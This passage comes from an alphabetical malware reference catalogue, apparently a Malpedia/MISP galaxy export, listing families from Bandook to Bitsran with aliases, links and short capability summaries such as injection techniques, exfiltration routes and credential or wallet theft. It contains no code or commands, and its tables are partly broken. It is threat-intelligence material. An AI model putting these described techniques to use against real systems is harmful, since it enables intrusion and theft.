Bandook malware is a remote access trojan (RAT) first seen in 2007 and has been active for several years. Written in both Delphi and C++, it was first seen as a commercial RAT developed by a Lebanese creator named PrinceAli. Over the years, several variants of Bandook were leaked online, and the malware became available for public download.
The tag is: *misp-galaxy:malpedia="Bandook"*

Bandook is also known as:

- Bandok

*Table 2542. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf">https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/bandook-signed-delivered">https://research.checkpoint.com/2020/bandook-signed-delivered</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/bandook-signed-delivered/">https://research.checkpoint.com/2020/bandook-signed-delivered/</a></td>
</tr>
<tr>
<td><a href="https://www.eff.org/deeplinks/2020/12/dark-caracal-you-missed-spot">https://www.eff.org/deeplinks/2020/12/dark-caracal-you-missed-spot</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/796425285197561856">https://twitter.com/malwrhunterteam/status/796425285197561856</a></td>
</tr>
</tbody>
</table>

**bangat**

The tag is: *misp-galaxy:malpedia="bangat"*

bangat is also known as:

*Table 2543. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Banjori**

The tag is: *misp-galaxy:malpedia="Banjori"*

Banjori is also known as:

- BackPatcher
- BankPatch
- MultiBanker 2

*Table 2544. Table References*
**Bankshot**

The tag is: `misp-galaxy:malpedia="Bankshot"`

Bankshot is also known as:

- COPPERHEDGE

**Table 2545. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bankshot">https://malpedia.caad.fkie.fraunhofer.de/details/win.bankshot</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF">https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/ar20-133a">https://www.us-cert.gov/ncas/analysis-reports/ar20-133a</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a">https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/hidden-cobra">https://blog.reversinglabs.com/blog/hidden-cobra</a></td>
</tr>
<tr>
<td><a href="https://malverse.it/analisi-bankshot-copperhedge">https://malverse.it/analisi-bankshot-copperhedge</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/nickel-gladstone">https://www.secureworks.com/research/threat-profiles/nickel-gladstone</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-108a">https://www.cisa.gov/uscert/ncas/alerts/aa22-108a</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-lazarus-group-deathnote-campaign/109490/">https://securelist.com/the-lazarus-group-deathnote-campaign/109490/</a></td>
</tr>
</tbody>
</table>

**BanPolMex RAT**

BanPolMex is a remote access trojan that uses TCP for communication.

It uses an RC4-like stream cipher called Spritz for encryption of its configuration and network traffic.
It sends detailed information about the victim's environment, like computer name, Windows version, free space of memory and all drives, processor identifier and architecture, system locale, system metrics, manufacturer, and network configuration.

It supports almost 30 commands that include operations on the victim's filesystem, basic process management, file exfiltration, and the download and execution of additional tools from the attacker's C&C server. As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers. However, in this case the indicis are convertible into a meaningful ASCII representation, that even suggests the functionality: SLEP, HIBN, DRIV, DIR, DIRP, CHDR, RUN, RUNX, DEL, WIPE, MOVE, FTIM, NEWF, DOWN, ZDWN, UPLD, PV EW, PKIL, CMDL, DIE, GCFG, SCFG, TCON, PEEX, PEIN.

It has aclui.dll as the internal DLL name. It contains statically linked code from open-source libraries like libcurl (version 7.47.1) or zLib (version 0.15).

BanPolMex RAT was delivered for victims of a watering hole campaign targeting employees of Polish and Mexican banks, that was discovered in February 2017. It is usually loaded by HOTWAX.

The tag is: misp-galaxy:malpedia="BanPolMex RAT"

BanPolMex RAT is also known as:

Table 2546. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.banpolmex">https://malpedia.caad.fkie.fraunhofer.de/details/win.banpolmex</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/">https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/</a></td>
</tr>
</tbody>
</table>

**Barb(ie) Downloader**

The tag is: misp-galaxy:malpedia="Barb(ie) Downloader"

Barb(ie) Downloader is also known as:

Table 2547. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.barbie">https://malpedia.caad.fkie.fraunhofer.de/details/win.barbie</a></td>
</tr>
</tbody>
</table>

**BarbWire**

The tag is: misp-galaxy:malpedia="BarbWire"

BarbWire is also known as:

Table 2548. Table References
barkiofork

The tag is: misp-galaxy:malpedia="barkiofork"

barkiofork is also known as:

Table 2549. Table References

Bart

The tag is: misp-galaxy:malpedia="Bart"

Bart is also known as:

Table 2550. Table References

BatchWiper

The tag is: misp-galaxy:malpedia="BatchWiper"

BatchWiper is also known as:

Table 2551. Table References
Batel

The tag is: `misp-galaxy:malpedia="Batel"`

Batel is also known as:

Table 2552. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.batel">https://malpedia.caad.fkie.fraunhofer.de/details/win.batel</a></td>
</tr>
</tbody>
</table>

BATLOADER

According to PCrisk, BATLOADER is part of the infection chain where it is used to perform the initial compromise. This malware is used to execute payloads like Ursnif. Our team has discovered BATLOADER after executing installers for legitimate software (such as Zoom, TeamViewer Visual Studio) bundled with this malware. We have found those installers on compromised websites.

The tag is: `misp-galaxy:malpedia="BATLOADER"`

BATLOADER is also known as:

Table 2553. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bat_loader">https://malpedia.caad.fkie.fraunhofer.de/details/win.bat_loader</a></td>
</tr>
<tr>
<td><a href="https://insight-jp.nttsecurity.com/post/102i7af/steelclovergoogle">https://insight-jp.nttsecurity.com/post/102i7af/steelclovergoogle</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489">https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489</a></td>
</tr>
<tr>
<td><a href="https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif">https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif</a></td>
</tr>
<tr>
<td><a href="https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-batloader">https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-batloader</a></td>
</tr>
<tr>
<td><a href="https://www.esentire.com/blog/batloader-continues-signed-msix-app-package-abuse">https://www.esentire.com/blog/batloader-continues-signed-msix-app-package-abuse</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/revisiting-batloader-c2-structure-52f46ff9893a">https://medium.com/walmartglobaltech/revisiting-batloader-c2-structure-52f46ff9893a</a></td>
</tr>
</tbody>
</table>
BazarBackdoor

BazarBackdoor is a small backdoor, probably by a TrickBot "spin-off" like anchor. It's called team9 backdoor (and the corresponding loader: team9 restart loader).

For now, it exclusively uses Emercoin domains (.bazar), thus the naming. FireEye uses KEGTAP as name for BazarLoader and BEERBOT for BazarBackdoor.

The tag is: misp-galaxy:malpedia="BazarBackdoor"

BazarBackdoor is also known as:

- BEERBOT
- KEGTAP
- Team9Backdoor
- bazaloader
- bazarloader

Table 2554. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarbackdoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarbackdoor</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html">https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html</a></td>
</tr>
<tr>
<td><a href="https://experience.mandiant.com/trending-evil/p/1">https://experience.mandiant.com/trending-evil/p/1</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Unit42_Intel/status/1458113934024757256">https://twitter.com/Unit42_Intel/status/1458113934024757256</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/conti-leaks-ransomware-development">https://intel471.com/blog/conti-leaks-ransomware-development</a></td>
</tr>
<tr>
<td><a href="https://pcsxctrasupport3.wordpress.com/2021/11/16/excel-4-macro-code-obfuscation/">https://pcsxctrasupport3.wordpress.com/2021/11/16/excel-4-macro-code-obfuscation/</a></td>
</tr>
<tr>
<td><a href="https://blog.fox-it.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/">https://blog.fox-it.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=uAkeXCYcl4Y">https://www.youtube.com/watch?v=uAkeXCYcl4Y</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/01/31/bazar-no-ryuk/">https://thedfirreport.com/2021/01/31/bazar-no-ryuk/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/anthomsec/status/1321865315513520128">https://twitter.com/anthomsec/status/1321865315513520128</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/">https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/</a></td>
</tr>
<tr>
<td><a href="https://johannesbader.ch/blog/the-dga-of-bazarbackdoor/">https://johannesbader.ch/blog/the-dga-of-bazarbackdoor/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20">https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20</a></td>
</tr>
<tr>
<td><a href="https://abnormalsecurity.com/blog/bazarloader-contact-form">https://abnormalsecurity.com/blog/bazarloader-contact-form</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/">https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/</a></td>
</tr>
<tr>
<td><a href="https://malwarebookreports.com/bazarloader-back-from-holiday-break/">https://malwarebookreports.com/bazarloader-back-from-holiday-break/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html">https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/api-hammering-malware-families/">https://unit42.paloaltonetworks.com/api-hammering-malware-families/</a></td>
</tr>
<tr>
<td><a href="https://johannesbader.ch/blog/the-buggy-dga-of-bazarbackdoor/">https://johannesbader.ch/blog/the-buggy-dga-of-bazarbackdoor/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets">https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/bazarloader-malware/">https://unit42.paloaltonetworks.com/bazarloader-malware/</a></td>
</tr>
</tbody>
</table>
BazarNimrod

A rewrite of Bazarloader in the Nim programming language.

The tag is: *misp-galaxy:malpedia*="BazarNimrod"

BazarNimrod is also known as:

- NimzaLoader

Table 2555. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarnimrod">https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarnimrod</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e">https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e</a></td>
</tr>
<tr>
<td><a href="https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware">https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/James_inthe_box/status/135709652857196546">https://twitter.com/James_inthe_box/status/135709652857196546</a></td>
</tr>
</tbody>
</table>

BBSRAT

The tag is: *misp-galaxy:malpedia*="BBSRAT"

BBSRAT is also known as:

Table 2556. Table References
BBtok

360 Security Center describes BBtok as a banking trojan targeting Mexico.

The tag is: `misp-galaxy:malpedia="BBtok"`

BBtok is also known as:

<table>
<thead>
<tr>
<th>Table 2557. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bbtok">malpedia.caad.fkie.fraunhofer.de/details/win.bbtok</a></td>
</tr>
</tbody>
</table>

Beapy

According to Symantec, Beapy is a cryptojacking campaign impacting enterprises that uses the EternalBlue exploit and stolen and hardcoded credentials to spread rapidly across networks.

The tag is: `misp-galaxy:malpedia="Beapy"`

Beapy is also known as:

<table>
<thead>
<tr>
<th>Table 2558. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.beapy">malpedia.caad.fkie.fraunhofer.de/details/win.beapy</a></td>
</tr>
</tbody>
</table>
According to Mandiant, BEATDROP is a downloader written in C that uses Atlassian’s project management service Trello for C&C. BEATDROP uses Trello to store victim information and retrieve AES-encrypted shellcode payloads to be executed. BEATDROP then injects and executes downloaded payloads into a suspended process. Upon execution, BEATDROP maps a copy of ntdll.dll into memory to execute shellcode in its own process. The sample then creates a suspended thread with RtlCreateUserThread the thread points to NtCreateFile. The sample changes execution to shellcode and resumes the thread. The shellcode payload is retrieved from Trello and is targeted per victim. Once the payload has been retrieved, it is deleted from Trello.

The tag is: *misp-galaxy:malpedia=*"BEATDROP"

BEATDROP is also known as:

**Table 2559. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.beatdrop">https://malpedia.caad.fkie.fraunhofer.de/details/win.beatdrop</a></td>
</tr>
<tr>
<td><a href="https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/">https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/</a></td>
</tr>
<tr>
<td>&lt;a href=&quot;https://mp.weixin.qq.com/s?biz=MzUyMDEyNTkwNA%3D%3D&amp;amp;mid=2247494783&amp;amp;idx=1&amp;amp;sn=612cf3cea1ef62e04bf6bd0ce3b6b65&amp;amp;chksm=f9ed80c0ce9a09d6f5edc1424df5260cb9a9cf55fe92bd922407ee960650e91ec8cc46933ab&amp;amp;scene=178&amp;amp;cur_album_id=1375769135073951745&quot;&gt;<a href="https://mp.weixin.qq.com/s?biz=MzUyMDEyNTkwNA%3D%3D&amp;amp;mid=2247494783&amp;amp;idx=1&amp;amp;sn=612cf3cea1ef62e04bf6bd0ce3b6b65&amp;amp;chksm=f9ed80c0ce9a09d6f5edc1424df5260cb9a9cf55fe92bd922407ee960650e91ec8cc46933ab&amp;amp;scene=178&amp;amp;cur_album_id=1375769135073951745">https://mp.weixin.qq.com/s?biz=MzUyMDEyNTkwNA%3D%3D&amp;amp;mid=2247494783&amp;amp;idx=1&amp;amp;sn=612cf3cea1ef62e04bf6bd0ce3b6b65&amp;amp;chksm=f9ed80c0ce9a09d6f5edc1424df5260cb9a9cf55fe92bd922407ee960650e91ec8cc46933ab&amp;amp;scene=178&amp;amp;cur_album_id=1375769135073951745</a>&lt;/a&gt;</td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns">https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns</a></td>
</tr>
</tbody>
</table>

**Bedep**

Bedep has been mostly observed in ad-fraud campaigns, although it can also generally load modules for different tasks. It was dropped by the Angler Exploit Kit.

The tag is: *misp-galaxy:malpedia=*"Bedep"

Bedep is also known as:

**Table 2560. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep">https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep</a></td>
</tr>
</tbody>
</table>
Bee

Malware family observed in conjunction with PlugX infrastructure in 2013.

The tag is: *misp-galaxy:malpedia=Bee*

Bee is also known as:

*Table 2561. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bee">https://malpedia.caad.fkie.fraunhofer.de/details/win.bee</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/38f9ce7243c7851d67b24eb53b16177147f38dffe201c5bedefe260d22ac908/detection">https://www.virustotal.com/gui/file/38f9ce7243c7851d67b24eb53b16177147f38dffe201c5bedefe260d22ac908/detection</a></td>
</tr>
</tbody>
</table>

beendoor

BEENDOOR is a XMPP based trojan. It is capable of taking screenshots of the victim’s desktop.

The tag is: *misp-galaxy:malpedia=beendoor*

beendoor is also known as:

*Table 2562. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.beendoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.beendoor</a></td>
</tr>
</tbody>
</table>

BeepService

The tag is: *misp-galaxy:malpedia=BeepService*

BeepService is also known as:

*Table 2563. Table References*
Belonard

Once set up in the system, Trojan.Belonard replaces the list of available game servers in the game client and creates proxies on the infected computer to spread the Trojan. As a rule, proxy servers show a lower ping, so other players will see them at the top of the list. By selecting one of them, a player gets redirected to a malicious server where their computer become infected with Trojan.Belonard.

The tag is: *misp-galaxy:malpedia*="Belonard"

Belonard is also known as:

Table 2564. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.belonard">https://malpedia.caad.fkie.fraunhofer.de/details/win.belonard</a></td>
</tr>
<tr>
<td><a href="https://news.drweb.com/show/?i=13135&amp;c=23&amp;lng=en&amp;p=0">https://news.drweb.com/show/?i=13135&amp;c=23&amp;lng=en&amp;p=0</a></td>
</tr>
</tbody>
</table>

Berbomthum

The tag is: *misp-galaxy:malpedia*="Berbomthum"

Berbomthum is also known as:

Table 2565. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.berbomthum">https://malpedia.caad.fkie.fraunhofer.de/details/win.berbomthum</a></td>
</tr>
</tbody>
</table>

BernhardPOS

The tag is: *misp-galaxy:malpedia*="BernhardPOS"

BernhardPOS is also known as:

Table 2566. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bernhardpos">https://malpedia.caad.fkie.fraunhofer.de/details/win.bernhardpos</a></td>
</tr>
</tbody>
</table>
BestKorea

The tag is: misp-galaxy:malpedia="BestKorea"

BestKorea is also known as:

Table 2567. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bestkorea">https://malpedia.caad.fkie.fraunhofer.de/details/win.bestkorea</a></td>
</tr>
<tr>
<td><a href="https://github.com/Jacquais/BestKorea">https://github.com/Jacquais/BestKorea</a></td>
</tr>
</tbody>
</table>

BetaBot

Cybereason concludes that Betabot is a sophisticated infostealer malware that's evolved significantly since it first appeared in late 2012. The malware began as a banking Trojan and is now packed with features that allow its operators to practically take over a victim's machine and steal sensitive information.

The tag is: misp-galaxy:malpedia="BetaBot"

BetaBot is also known as:

- Neurevt

Table 2568. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot">https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/betabot-banking-trojan-neurevt">https://www.cybereason.com/blog/betabot-banking-trojan-neurevt</a></td>
</tr>
<tr>
<td><a href="http://www.xylibox.com/2015/04/betabot-retrospective.html">http://www.xylibox.com/2015/04/betabot-retrospective.html</a></td>
</tr>
<tr>
<td><a href="http://resources.infosecinstitute.com/beta-bot-analysis-part-1/#gref">http://resources.infosecinstitute.com/beta-bot-analysis-part-1/#gref</a></td>
</tr>
</tbody>
</table>
Bezigate

Bezigate is a Trojan horse that opens a back door on the compromised computer. It may also download potentially malicious files.

The Trojan may perform the following actions: List, move, and delete drives List, move, and delete files List processes and running Windows titles List services List registry values Kill processes Maximize, minimize, and close windows Upload and download files Execute shell commands Uninstall itself

The tag is: `misp-galaxy:malpedia="Bezigate"`

Bezigate is also known as:

Table 2569. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bezigate">https://malpedia.caad.fkie.fraunhofer.de/details/win.bezigate</a></td>
</tr>
</tbody>
</table>

BfBot

The tag is: `misp-galaxy:malpedia="BfBot"`

BfBot is also known as:

Table 2570. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bfbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.bfbot</a></td>
</tr>
</tbody>
</table>

BHunt

BHunt collects the crypto wallets of its victims. The malware consists of several functions/modules, e.g. a reporting module that reports the presence of crypto wallets on the target computers to the C2 server. It searches for many different cryptocurrencies (e.g. Atomic, Bitcoin, Electrum, Ethereum, Exodus, Jaxx and Litecoin). The Blackjack module is used to steal wallets, Sweet_Bonanza steals victims' browser passwords. There are also modules like the Golden7 or the Chaos_crew module.

The tag is: `misp-galaxy:malpedia="BHunt"`

BHunt is also known as:
BianLian (Windows)

BianLian is a GoLang-based ransomware that continues to breach several industries and demand large ransom amounts. The threat actors also use the double extortion method by stealing an affected organization’s files and leaking them online if the ransom is not paid on time. BianLian gains access to victim systems through valid Remote Desktop Protocol (RDP) credentials, uses open-source tools and command-line scripting for discovery and credential harvesting, and exfiltrates victim data via File Transfer Protocol (FTP), Rclone, or Mega. BianLian originally employed a double-extortion model in which they encrypted victims’ systems after exfiltrating the data; however, around January 2023, they shifted to primarily exfiltration-based extortion. The BianLian ransomware uses goroutines and encrypts files in chunks to quickly hijack an infected system. The ransomware adds its own extension to each encrypted file.

The tag is: `misp-galaxy:malpedia="BianLian (Windows)"

BianLian (Windows) is also known as:

**BI_D Ransomware**

Small and relatively simple ransomware for Windows. Gives files the .BI_D extension after encrypting them with a combination of RSA/AES. Persistence achieved via the Windows Registry. Kills all processes on the victim machine besides itself and a small whitelist of mostly Windows
system processes and kills shadow copies.

The tag is: *misp-galaxy:malpedia=*BI_D Ransomware*

BI_D Ransomware is also known as:

*Table 2573. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bid_ransomware">https://malpedia.caad.fkie.fraunhofer.de/details/win.bid_ransomware</a></td>
</tr>
<tr>
<td><a href="http://zirconic.net/2018/07/bi_d-ransomware/">http://zirconic.net/2018/07/bi_d-ransomware/</a></td>
</tr>
<tr>
<td><a href="http://zirconic.net/2019/03/bi_d-ransomware-redux-now-with-100-more-ghidra/">http://zirconic.net/2019/03/bi_d-ransomware-redux-now-with-100-more-ghidra/</a></td>
</tr>
</tbody>
</table>

**bifrose**

The tag is: *misp-galaxy:malpedia=*bifrose*

bifrose is also known as:

*Table 2574. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bifrose">https://malpedia.caad.fkie.fraunhofer.de/details/win.bifrose</a></td>
</tr>
<tr>
<td><a href="https://blog.trendmicro.com/trendlabs-security-intelligence/bifrose-now-more-evasive-through-tor-used-for-targeted-attack/">https://blog.trendmicro.com/trendlabs-security-intelligence/bifrose-now-more-evasive-through-tor-used-for-targeted-attack/</a></td>
</tr>
</tbody>
</table>

**BillGates**

BillGates is a modularized malware, of supposedly Chinese origin. Its main functionality is to perform DDoS attacks, with support for DNS amplification. Often, BillGates is delivered with one or many backdoor modules.

BillGates is available for *nix-based systems as well as for Windows.

On Windows, the (Bill)Gates installer typically contains the various modules as linked resources.

The tag is: *misp-galaxy:malpedia=*BillGates*

BillGates is also known as:

*Table 2575. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates">https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates</a></td>
</tr>
<tr>
<td><a href="https://habrahabr.ru/post/213973/">https://habrahabr.ru/post/213973/</a></td>
</tr>
</tbody>
</table>
Binanen

Binanen is a dropper that drops and executes a section of itself into a hidden dummy process. According to F-Secure, it executes command line tools such as (for example) asipconfig, which is useful to retrieve the network configuration. The malware aims to steal information about the machine, the username, installed software and, more generally speaking, it potentially can carry out actions on the compromised machine.

The tag is: `misp-galaxy:malpedia="Binanen"`

Binanen is also known as:

Table 2576. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.binanen">https://malpedia.caad.fkie.fraunhofer.de/details/win.binanen</a></td>
</tr>
</tbody>
</table>

BioData

The tag is: `misp-galaxy:malpedia="BioData"`

BioData is also known as:

Table 2577. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.biodata">https://malpedia.caad.fkie.fraunhofer.de/details/win.biodata</a></td>
</tr>
</tbody>
</table>
bioload

The tag is: `misp-galaxy:malpedia=“bioload”`

bioload is also known as:

Table 2578. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.bioload
https://www.fortinet.com/blog/threat-research/bioload-fin7-boostwrite-lost-twin.html

BIOPASS

BIOPASS RAT is a malware family which targets online gambling companies in China by leveraging a watering hole attack. This Remote Access Trojan (RAT) is unique in that it leverages the Open Broadcaster Software (OBS) framework to monitor the user’s screen.

The tag is: `misp-galaxy:malpedia=“BIOPASS”`

BIOPASS is also known as:

Table 2579. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.biopass

Biscuit

The tag is: `misp-galaxy:malpedia=“Biscuit”`

Biscuit is also known as:

• zxdosml
BISTROMATH

The tag is: *misp-galaxy:malpedia*="BISTROMATH"

BISTROMATH is also known as:

Table 2581. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bistromath">https://malpedia.caad.fkie.fraunhofer.de/details/win.bistromath</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/ar20-045a">https://www.us-cert.gov/ncas/analysis-reports/ar20-045a</a></td>
</tr>
</tbody>
</table>

BitPyLock

Bitpylock is a ransomware that encrypts files by using asymmetric keys and puts `.bitpy` as suffix once the encryption phase ended. The ransom note appears on the affected user’s Desktop with the following name: "# # HELP_TO_DECRYPT_YOUR_FILES # .html". At the time of writing the ransom request is 0.8 BTC and the communication email is: helpbitpy@cock.li.

The tag is: *misp-galaxy:malpedia*="BitPyLock"

BitPyLock is also known as:

Table 2582. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bitpylock">https://malpedia.caad.fkie.fraunhofer.de/details/win.bitpylock</a></td>
</tr>
<tr>
<td><a href="https://yomi.yoroi.company/report/5e1d77b371ef016089703d1a/5e1d79d7d1cc4993da62f24f/overview">https://yomi.yoroi.company/report/5e1d77b371ef016089703d1a/5e1d79d7d1cc4993da62f24f/overview</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1215252402988822529">https://twitter.com/malwrhunterteam/status/1215252402988822529</a></td>
</tr>
</tbody>
</table>
**Bitsran**

SHADYCAT is a dropper and spreader component for the HERMES 2.1 RANSOMWARE radical edition.

